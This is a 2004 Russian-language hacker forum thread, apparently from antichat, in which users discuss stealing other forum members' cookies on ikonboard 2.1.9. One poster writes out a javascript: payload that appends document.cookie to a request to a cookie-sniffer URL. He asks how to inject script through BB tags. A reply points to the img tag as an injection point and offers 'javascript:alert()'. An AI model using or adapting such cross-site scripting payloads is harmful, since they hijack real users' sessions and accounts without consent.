Вопрос про ikonboard 2.1.9 (Как передать снифферу данные и куки пользователя )

[Toshik]

Algol помоги разобраться в том,как передать снифферу данные и куки пользователя !!! Там тега video нет,зато есть тег sound !!! Ну и ладно пробую так
javascript: document.body.background=" http://antichat.ru/cgi-bin/s.jpg?"+document.cookie; document.embeds[0].style.display="none";this.wav
и нечего текст даже не преобразуется и не скрывается !!!
Пробую добавить картинку так http://antichat.ru/cgi-bin/s.jpg?"+document.cookie; - прокатывает, но на сниффер не передаются куки !!! Подскажи что можно сделать !!! И вообще насколько я понял если на форуме на движке ikonboard даже самом последнем нет тегов [video] и [sound] то передать данные снифферу можно только через тег [image], это правда ???
P.S Вопрос не только к Algol'у но и ко всем знающим http://forum.antichat.ru/iB_html/non-cgi/emoticons/smile.gif

[Algol]

Уязвимости в BB тегах video и sound прокатывают только в форумах IPB ...Разве там что то говорится про ikonboard ?
В иконе я знаю только уязвимость в теге img (можно вставить javascript:...) и то, не во всех версиях.

[Toshik]

Ой изивини ошибся !!! А ты не в курсе в IPB через ведь тоже можно вставить ссылку на ваш сниффер чтобы и куки тырил ?!!
Расскажи о том как вставить javascript: в ikonboard пожалуйста !!!
P.S заранее благодарен [img]http://forum.antichat.ru/iB_html/non-cgi/emoticons/smile.gif

[Algol]

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Toshik @ августа 18 2004,15:45)</td></tr><tr><td id="QUOTE">Расскажи о том как вставить javascript: в ikonboard пожалуйста !!![/QUOTE]<span id='postcolor'>
очень просто javascript:alert()
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">Ой изивини ошибся !!! А ты не в курсе в IPB через [img] ведь тоже можно вставить ссылку на ваш сниффер чтобы и куки тырил ?!!
[/QUOTE]<span id='postcolor'>
Ссылку на сниффер можно вставить, а что бы куки тырил - тоже можно, только намного сложнее &nbsp;:D
(как &nbsp;- не скажу... это пока ноу хау)